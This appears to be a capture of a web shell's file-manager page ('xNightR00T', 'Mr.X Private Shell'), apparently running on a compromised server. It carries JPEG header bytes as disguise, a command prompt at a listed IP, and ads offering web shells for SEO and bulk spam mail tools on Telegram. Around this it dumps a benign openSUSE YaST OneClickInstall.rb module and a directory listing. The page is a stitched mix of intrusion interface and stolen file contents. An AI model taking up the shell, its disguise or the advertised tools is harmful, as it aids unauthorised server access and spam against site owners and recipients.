xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

require "yast"

module Yast
  class OneClickInstallClass < Module
    def main
      # Module to provide simple API for working with the One Click Install metapackages.
      # Enables removal of non-UI logic from UI module.
      #
      textdomain "oneclickinstall"

      Yast.import "XML"
      Yast.import "Product"
      Yast.import "Language"

      Yast.import "YPX"

      # 	repositories =
      #		$[ url =>
      #			$[
      #				name,
      #				summary,
      #				description,
      #				recommended
      #			]
      #
      #		]
      #
      @repositories = {}

      #	software =
      #		$[ name =>
      #			$[
      #				summary,
      #				description,
      #				recommended
      #			]
      #		]
      #
      @software = {}

      #Whether the user should remain subscribed to these repositories post installation.
      @remainSubscribed = true

      #The name of this software bundle.
      @name = ""

      #The summary of this software bundle.
      @summary = ""

      #The description of this software bundle.
      @description = ""
    end

    #   *
    #   * Load the Metapackage from the URL supplied for further processing.
    #   * Converts from original form into a simple two lists, one of repositories, other of software.
    #   * Uses the Product.ycp to obtain the correct version for our product.
    #   * Uses the Language.ycp to obtain correct strings for our language.
    #   *
    #   * Picks the strings, mirror, and product at evaluation time.
    #
    #   * N.B. This must be called before any of the rest of the methods.
    #   *
    #   * Internally the following format is used:
    #   *	repositories =
    #   *		$[ url =>
    #   *			$[
    #   *				name,
    #   *				summary,
    #   *				description,
    #   *				recommended
    #   *			]
    #   *
    #   *		]
    #   *
    #   *	software =
    #   *		$[ name =>
    #   *			$[
    #   *				summary,
    #   *				description,
    #   *				action,
    #   *				type,
    #   *				recommended
    #   *			]
    #   *		]
    #   * @param url The file to load the xml from.
    #  *
    def Load(url)
      #Load the XML from file.
      xml = YPX.Load(url)
      #Load returns false on error
      return if xml == false

      #Try and load the name.
      @name = YPX.SelectValue(
        xml,
        Ops.add(
          Ops.add("/metapackage/group[@distversion='", Product.name),
          "']/name"
        )
      )
      if @name == ""
        @name = YPX.SelectValue(
          xml,
          "/metapackage/group[not(@distversion)]/name"
        )
      end

      rs = YPX.SelectValue(
        xml,
        Ops.add(
          Ops.add("/metapackage/group[@distversion='", Product.name),
          "']/remainSubscribed"
        )
      )
      if rs == ""
        rs = YPX.SelectValue(
          xml,
          "/metapackage/group[not(@distversion)]/remainSubscribed"
        )
      end
      if rs == "false"
        @remainSubscribed = false
      else
        @remainSubscribed = true
      end


      #Try and load the summary.
      @summary = YPX.SelectValue(
        xml,
        Ops.add(
          Ops.add(
            Ops.add(
              Ops.add("/metapackage/group[@distversion='", Product.name),
              "']/summary[@lang='"
            ),
            Language.language
          ),
          "']"
        )
      )
      if @summary == ""
        @summary = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add("/metapackage/group[@distversion='", Product.name),
            "']/summary[not(@lang)]"
          )
        )
      end
      if @summary == ""
        @summary = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              "/metapackage/group[not(@distversion)]/summary[@lang='",
              Language.language
            ),
            "']"
          )
        )
      end
      if @summary == ""
        @summary = YPX.SelectValue(
          xml,
          "/metapackage/group[not(@distversion)]/summary[not(@lang)]"
        )
      end

      #Try and load the description.
      @description = YPX.SelectValue(
        xml,
        Ops.add(
          Ops.add(
            Ops.add(
              Ops.add("/metapackage/group[@distversion='", Product.name),
              "']/description[@lang='"
            ),
            Language.language
          ),
          "']"
        )
      )
      if @description == ""
        @description = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add("/metapackage/group[@distversion='", Product.name),
            "']/description[not(@lang)]"
          )
        )
      end
      if @description == ""
        @description = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              "/metapackage/group[not(@distversion)]/description[@lang='",
              Language.language
            ),
            "']"
          )
        )
      end
      if @description == ""
        @description = YPX.SelectValue(
          xml,
          "/metapackage/group[not(@distversion)]/description[not(@lang)]"
        )
      end

      #Load the repository details into our internal format from xml.
      #We want to load details for our specific version.
      _REPO_XPATH = Ops.add(
        Ops.add("/metapackage/group[@distversion='", Product.name),
        "']/repositories/repository"
      )
      #If that fails, use any.
      _FALLBACK_REPO_XPATH = "/metapackage/group[not(@distversion)]/repositories/repository"


      #Select the repository URLs from the XML.
      repoURLs = YPX.SelectValues(xml, Ops.add(_REPO_XPATH, "/url"))
      #If we didn't have any try fallback xpath.
      if Builtins.size(repoURLs) == 0
        _REPO_XPATH = _FALLBACK_REPO_XPATH
        repoURLs = YPX.SelectValues(xml, Ops.add(_REPO_XPATH, "/url"))
      end
      #Loop through the repo URLs and query the other details from the XML.
      Builtins.foreach(repoURLs) do |url2|
        #Construct xpath to query details of this specific repository
        _THIS_REPO_XPATH = Ops.add(
          Ops.add(Ops.add(_REPO_XPATH, "[url='"), url2),
          "']/"
        )
        recommended = YPX.SelectValue(
          xml,
          Ops.add(_THIS_REPO_XPATH, "@recommended")
        )
        #If recommended not specified we default to true.
        recommended = "true" if recommended != "false"
        #Get the name in our language
        name = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              Ops.add(_THIS_REPO_XPATH, "name[@lang='"),
              Language.language
            ),
            "']"
          )
        )
        #If that failed, try without a language
        if name == ""
          name = YPX.SelectValue(
            xml,
            Ops.add(_THIS_REPO_XPATH, "name[not(@lang)]")
          )
        end
        #Find the summary of this repository, in our language.
        summary = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              Ops.add(_THIS_REPO_XPATH, "summary[@lang='"),
              Language.language
            ),
            "']"
          )
        )
        #If that failed, try without a language.
        if summary == ""
          summary = YPX.SelectValue(
            xml,
            Ops.add(_THIS_REPO_XPATH, "summary[not(@lang)]")
          )
        end
        #Find the description of this repository, in our language.
        description = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              Ops.add(_THIS_REPO_XPATH, "description[@lang='"),
              Language.language
            ),
            "']"
          )
        )
        #If that failed, try without a language.
        if description == ""
          description = YPX.SelectValue(
            xml,
            Ops.add(_THIS_REPO_XPATH, "description[not(@lang)]")
          )
        end
        #Store this repository details in our list.
        repoDetails = {
          "name"        => name,
          "summary"     => summary,
          "description" => description,
          "recommended" => recommended
        }
        @repositories = Builtins.add(@repositories, url2, repoDetails)
      end

      #Load package names for this distversion.
      _SOFTWARE_XPATH = Ops.add(
        Ops.add("/metapackage/group[@distversion='", Product.name),
        "']/software/item"
      )
      #Incase that isn't specified use any where distversion is not specified.
      _FALLBACK_SOFTWARE_XPATH = "/metapackage/group[not(@distversion)]/software/item"
      softwareNames = YPX.SelectValues(xml, Ops.add(_SOFTWARE_XPATH, "/name"))
      #If we didn't have any try fallback xpath.
      if Builtins.size(softwareNames) == 0
        _SOFTWARE_XPATH = _FALLBACK_SOFTWARE_XPATH
        softwareNames = YPX.SelectValues(xml, Ops.add(_SOFTWARE_XPATH, "/name"))
      end
      Builtins.foreach(softwareNames) do |name|
        #Construct xpath to query details of this specific software.
        _THIS_SOFTWARE_XPATH = Ops.add(
          Ops.add(Ops.add(_SOFTWARE_XPATH, "[name='"), name),
          "']/"
        )
        #Check whether it was recommended.
        recommended = YPX.SelectValue(
          xml,
          Ops.add(_THIS_SOFTWARE_XPATH, "@recommended")
        )
        #If recommended not specified we default to true.
        recommended = "true" if recommended != "false"
        action = YPX.SelectValue(xml, Ops.add(_THIS_SOFTWARE_XPATH, "@action"))
        #If action not specified we default to install.
        action = "install" if action != "remove"
        type = YPX.SelectValue(xml, Ops.add(_THIS_SOFTWARE_XPATH, "@type"))
        #If action not specified we default to install.
        type = "package" if type != "pattern"
        #Find the summary for this software, preferably in our language.
        summary = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              Ops.add(_THIS_SOFTWARE_XPATH, "summary[@lang='"),
              Language.language
            ),
            "']"
          )
        )
        if summary == ""
          summary = YPX.SelectValue(
            xml,
            Ops.add(_THIS_SOFTWARE_XPATH, "summary[not(@lang)]")
          )
        end
        #Find the description of this software, preferably in our language.
        description = YPX.SelectValue(
          xml,
          Ops.add(
            Ops.add(
              Ops.add(_THIS_SOFTWARE_XPATH, "description[@lang='"),
              Language.language
            ),
            "']"
          )
        )
        if description == ""
          description = YPX.SelectValue(
            xml,
            Ops.add(_THIS_SOFTWARE_XPATH, "description[not(@lang)]")
          )
        end
        #Store these software details in our list.
        softwareDetails = {
          "summary"     => summary,
          "description" => description,
          "action"      => action,
          "type"        => type,
          "recommended" => recommended
        }
        @software = Builtins.add(@software, name, softwareDetails)
      end

      nil
    end

    # <region name="Repositories"> *

    # @return a list of the URLs of the repositories currently selected for addition.
    #
    def GetRequiredRepositories
      repoURLs = []
      Builtins.foreach(@repositories) do |repoURL, repoDetails|
        if Ops.get(repoDetails, "recommended", "false") == "true"
          repoURLs = Builtins.add(repoURLs, repoURL)
        end
      end
      deep_copy(repoURLs)
    end

    # Ensures that the repository with the specified URL is selected for addition.
    # @param [String] url the url of the repository to ensure is selected for addition.
    #
    def SetRequiredRepository(url)
      repoDetails = Ops.get(@repositories, url)
      return if repoDetails == nil
      repoDetails = Builtins.add(repoDetails, "recommended", "true")
      @repositories = Builtins.add(@repositories, url, repoDetails)

      nil
    end

    #  @return a list of the URLs of the repositories currently NOT selected for addition.
    #
    def GetNonRequiredRepositories
      repoURLs = []
      Builtins.foreach(@repositories) do |repoURL, repoDetails|
        if Ops.get(repoDetails, "recommended", "false") == "false"
          repoURLs = Builtins.add(repoURLs, repoURL)
        end
      end
      deep_copy(repoURLs)
    end

    # Ensures that the repository with the specified URL is NOT selected for addition.
    # @param [String] url the url to ensure is not selected for addition
    #
    def SetNonRequiredRepository(url)
      repoDetails = Ops.get(@repositories, url)
      return if repoDetails == nil
      repoDetails = Builtins.add(repoDetails, "recommended", "false")
      @repositories = Builtins.add(@repositories, url, repoDetails)

      nil
    end


    # Ensures that the repositories with specified URLs are selected for addition, and all others are not.
    # @param [Array<String>] urls the urls to ensure are selected.
    #
    def SetRequiredRepositories(urls)
      urls = deep_copy(urls)
      Builtins.foreach(@repositories) do |url, repoDetails|
        if Builtins.contains(urls, url)
          SetRequiredRepository(url)
        else
          SetNonRequiredRepository(url)
        end
      end

      nil
    end


    # @return the name of the repository with the specified name.
    #
    def GetRepositoryName(url)
      repoDetails = Ops.get(@repositories, url)
      return "" if repoDetails == nil
      Ops.get(repoDetails, "name", "")
    end

    # @return the summary of the repository with the specified name.
    # This will be in the user's current language if there was a localised summary available.
    #
    def GetRepositorySummary(url)
      repoDetails = Ops.get(@repositories, url)
      return "" if repoDetails == nil
      Ops.get(repoDetails, "summary", "")
    end

    # @return the description of the repository with the specified name.
    # This will be in the user's current language if there was a localised description available.
    #
    def GetRepositoryDescription(url)
      repoDetails = Ops.get(@repositories, url)
      return "" if repoDetails == nil
      Ops.get(repoDetails, "description", "")
    end

    # </region> *

    # <region name="Software"> *

    # @return a list of the names of the software currently selected for installation.
    #
    def GetRequiredSoftware
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "install"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    def GetRequiredPackages
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "install" &&
            Ops.get(softwareDetails, "type", "package") == "package"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    def GetRequiredPatterns
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "install" &&
            Ops.get(softwareDetails, "type", "package") == "pattern"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    # @return a list of the names of the software currently selected for removal.
    #
    def GetRequiredRemoveSoftware
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "remove"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    # Ensures the software with the specified name is selected for installation or removal.
    # @param the name of the software to ensure is selected for installation.
    #
    def SetRequiredSoftware(name)
      softwareDetails = Ops.get(@software, name)
      return if softwareDetails == nil
      softwareDetails = Builtins.add(softwareDetails, "recommended", "true")
      @software = Builtins.add(@software, name, softwareDetails)

      nil
    end

    # @return a list of the names of the software currently NOT selected for installation.
    #
    def GetNonRequiredSoftware
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "false" &&
            Ops.get(softwareDetails, "action", "install") == "install"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    # @return a list of the names of the software currently selected for removal.
    #
    def GetNonRequiredRemoveSoftware
      names = []
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "false" &&
            Ops.get(softwareDetails, "action", "install") == "remove"
          names = Builtins.add(names, name)
        end
      end
      deep_copy(names)
    end

    # Ensures the software with the specified name is NOT selected for installation or removal.
    # @param the name of the software to ensure is NOT selected for installation.
    #
    def SetNonRequiredSoftware(name)
      softwareDetails = Ops.get(@software, name)
      return if softwareDetails == nil
      softwareDetails = Builtins.add(softwareDetails, "recommended", "false")
      @software = Builtins.add(@software, name, softwareDetails)

      nil
    end

    # Ensures that the repositories with specified URLs are selected for addition, and all others are not.
    # Invalid pluralisation due to lack of proper overloading :(
    # @param the names of the software to ensure is selected for installation.
    #
    def SetRequiredSoftwares(names)
      names = deep_copy(names)
      Builtins.foreach(@software) do |name, softwareDetails|
        if Builtins.contains(names, name)
          SetRequiredSoftware(name)
        else
          SetNonRequiredSoftware(name)
        end
      end

      nil
    end

    # @return the summary for the software with specified name.
    # This will be in the user's current language if there was a localised summary available.
    #
    def GetSoftwareSummary(name)
      softwareDetails = Ops.get(@software, name)
      return "" if softwareDetails == nil
      Ops.get(softwareDetails, "summary", "")
    end

    # @return the description for the software with specified name.
    # This will be in the user's current language if there was a localised description available.
    #
    def GetSoftwareDescription(name)
      softwareDetails = Ops.get(@software, name)
      return "" if softwareDetails == nil
      Ops.get(softwareDetails, "description", "")
    end

    # </region> *

    # <region name="Processing"> *

    # Specify whether the user should remain subscribed to the repositories after installation of this software is complete.
    # @param the boolean value indicating whether the user should remain subscribed.
    #
    def SetRemainSubscribed(value)
      @remainSubscribed = value

      nil
    end

    # @return the current setting of whether the user should remain subscribed to repositories after installation.
    #
    def GetRemainSubscribed
      @remainSubscribed
    end

    # @return the name for this software bundle.
    #
    def GetName
      @name
    end

    # @return the summary for this software bundle.
    # This will be in the user's current language if there was a localised summary available.
    #
    def GetSummary
      @summary
    end

    # @return the description for this software bundle.
    # This will be in the user's current language if there was a localised description available.
    #
    def GetDescription
      @description
    end

    # @return Find out whether we have any repositories that need to be added for this installation.
    # Useful to find out whether to display this wizard step.
    #
    def HaveRepositories
      Ops.greater_than(Builtins.size(@repositories), 0)
    end

    # @return Find out whether we have any software that needs to be installed for this installation.
    # Useful to find out whether to display this wizard step.
    #
    def HaveSoftware
      haveSoftware = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "action", "install") == "install"
          haveSoftware = true
          next haveSoftware
        end
      end
      haveSoftware
    end

    def HavePackagesToInstall
      have = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "install" &&
            Ops.get(softwareDetails, "type", "package") == "package"
          have = true
          next have
        end
      end
      have
    end

    def HavePatternsToInstall
      have = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "recommended", "false") == "true" &&
            Ops.get(softwareDetails, "action", "install") == "install" &&
            Ops.get(softwareDetails, "type", "package") == "pattern"
          have = true
          next have
        end
      end
      have
    end

    def HaveRepositoriesToInstall
      have = false
      Builtins.foreach(@repositories) do |url, repoDetails|
        if Ops.get(repoDetails, "recommended", "false") == "true"
          have = true
          next have
        end
      end
      have
    end

    def HaveRemovalsToInstall
      have = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "action", "install") == "remove" &&
            Ops.get(softwareDetails, "recommended", "false") == "true"
          have = true
          next have
        end
      end
      have
    end

    # @return Find out whether we have any software that needs to be removed for this installation.
    # Useful to find out whether to display this wizard step.
    #
    def HaveRemovals
      haveSoftware = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "action", "install") == "remove"
          haveSoftware = true
          next haveSoftware
        end
      end
      haveSoftware
    end

    # @return Whether we have anything to do
    # Determine whether we have a proper metapackage, useful as we can't throw exceptions.
    #
    def HaveAnythingToDo
      Ops.greater_than(Builtins.size(@repositories), 0) &&
        Ops.greater_than(Builtins.size(@software), 0)
    end

    # @return Whether we have a bundle description for the whole bundle
    # Build service isn't currently generating one for YMPs for individual packages.
    #
    def HaveBundleDescription
      @description != "" && @summary != "" && @name != ""
    end

    # @return Whether we have any recommended repositories or packages
    # If not we will have to show advanced view.
    #
    def HaveAnyRecommended
      rec = false
      Builtins.foreach(@software) do |name, softwareDetails|
        if Ops.get(softwareDetails, "action", "install") == "install" &&
            Ops.get(softwareDetails, "recommended", "false") == "true"
          rec = true
        end
        true
      end
      Builtins.foreach(@repositories) do |url, repoDetails|
        if Ops.get(repoDetails, "recommended", "false") == "true"
          rec = true
          next true
        end
      end
      rec
    end


    # Converts our map -> map structure to a list of maps with a "key" element.
    # This is friendly for yast's XML serialisation support.
    #
    def makeXMLFriendly(toFlatten)
      toFlatten = deep_copy(toFlatten)
      flattened = []
      Builtins.foreach(toFlatten) do |key, value|
        flattened = Builtins.add(flattened, Builtins.add(value, "key", key))
      end
      deep_copy(flattened)
    end

    # Converts back from the above to our original structure
    #
    def fromXMLFriendly(toUnFlatten)
      toUnFlatten = deep_copy(toUnFlatten)
      unflattened = {}
      Builtins.foreach(toUnFlatten) do |item|
        key = Ops.get(item, "key", "nokey")
        unflattened = Builtins.add(
          unflattened,
          key,
          Builtins.remove(item, "key")
        )
      end
      deep_copy(unflattened)
    end

    # Sets up a doctype for YaST's XML serialisation.
    #
    def SetupXML
      doc = {}
      Ops.set(doc, "listEntries", { "repositories" => "repository" })
      Ops.set(doc, "cdataSections", [])
      Ops.set(doc, "rootElement", "OneClickInstall")
      Ops.set(doc, "systemID", "/un/defined")
      Ops.set(doc, "nameSpace", "http://www.suse.com/1.0/yast2ns")
      Ops.set(doc, "typeNamespace", "http://www.suse.com/1.0/configns")
      XML.xmlCreateDoc(:OneClickInstall, doc)

      nil
    end

    # Serialises this data structure to XML.
    # @param [String] filename the file to write the XML to.
    #
    def ToXML(filename)
      SetupXML()
      toSerialise = {}
      toSerialise = Builtins.add(
        toSerialise,
        "software",
        makeXMLFriendly(@software)
      )
      toSerialise = Builtins.add(
        toSerialise,
        "repositories",
        makeXMLFriendly(@repositories)
      )
      toSerialise = Builtins.add(
        toSerialise,
        "remainSubscribed",
        @remainSubscribed
      )
      toSerialise = Builtins.add(toSerialise, "name", @name)
      toSerialise = Builtins.add(toSerialise, "summary", @summary)
      toSerialise = Builtins.add(toSerialise, "description", @description)

      success = XML.YCPToXMLFile(:OneClickInstall, toSerialise, filename)

      nil
    end

    # DeSerialises this data structure from XML.
    # @param [String] filename the file to read the XML from.
    #
    def FromXML(filename)
      SetupXML()
      deSerialised = XML.XMLToYCPFile(filename)
      @software = fromXMLFriendly(Ops.get_list(deSerialised, "software", []))
      @repositories = fromXMLFriendly(
        Ops.get_list(deSerialised, "repositories", [])
      )
      @remainSubscribed = Ops.get_boolean(
        deSerialised,
        "remainSubscribed",
        false
      )
      @summary = Ops.get_string(deSerialised, "summary", "")
      @description = Ops.get_string(deSerialised, "description", "")
      @name = Ops.get_string(deSerialised, "name", "")

      nil
    end

    publish :function => :Load, :type => "void (string)"
    publish :function => :GetRequiredRepositories, :type => "list <string> ()"
    publish :function => :SetRequiredRepository, :type => "void (string)"
    publish :function => :GetNonRequiredRepositories, :type => "list <string> ()"
    publish :function => :SetNonRequiredRepository, :type => "void (string)"
    publish :function => :SetRequiredRepositories, :type => "void (list <string>)"
    publish :function => :GetRepositoryName, :type => "string (string)"
    publish :function => :GetRepositorySummary, :type => "string (string)"
    publish :function => :GetRepositoryDescription, :type => "string (string)"
    publish :function => :GetRequiredSoftware, :type => "list <string> ()"
    publish :function => :GetRequiredPackages, :type => "list <string> ()"
    publish :function => :GetRequiredPatterns, :type => "list <string> ()"
    publish :function => :GetRequiredRemoveSoftware, :type => "list <string> ()"
    publish :function => :SetRequiredSoftware, :type => "void (string)"
    publish :function => :GetNonRequiredSoftware, :type => "list <string> ()"
    publish :function => :GetNonRequiredRemoveSoftware, :type => "list <string> ()"
    publish :function => :SetNonRequiredSoftware, :type => "void (string)"
    publish :function => :SetRequiredSoftwares, :type => "void (list <string>)"
    publish :function => :GetSoftwareSummary, :type => "string (string)"
    publish :function => :GetSoftwareDescription, :type => "string (string)"
    publish :function => :SetRemainSubscribed, :type => "void (boolean)"
    publish :function => :GetRemainSubscribed, :type => "boolean ()"
    publish :function => :GetName, :type => "string ()"
    publish :function => :GetSummary, :type => "string ()"
    publish :function => :GetDescription, :type => "string ()"
    publish :function => :HaveRepositories, :type => "boolean ()"
    publish :function => :HaveSoftware, :type => "boolean ()"
    publish :function => :HavePackagesToInstall, :type => "boolean ()"
    publish :function => :HavePatternsToInstall, :type => "boolean ()"
    publish :function => :HaveRepositoriesToInstall, :type => "boolean ()"
    publish :function => :HaveRemovalsToInstall, :type => "boolean ()"
    publish :function => :HaveRemovals, :type => "boolean ()"
    publish :function => :HaveAnythingToDo, :type => "boolean ()"
    publish :function => :HaveBundleDescription, :type => "boolean ()"
    publish :function => :HaveAnyRecommended, :type => "boolean ()"
    publish :function => :ToXML, :type => "void (string)"
    publish :function => :FromXML, :type => "void (string)"
  end

  OneClickInstall = OneClickInstallClass.new
  OneClickInstall.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
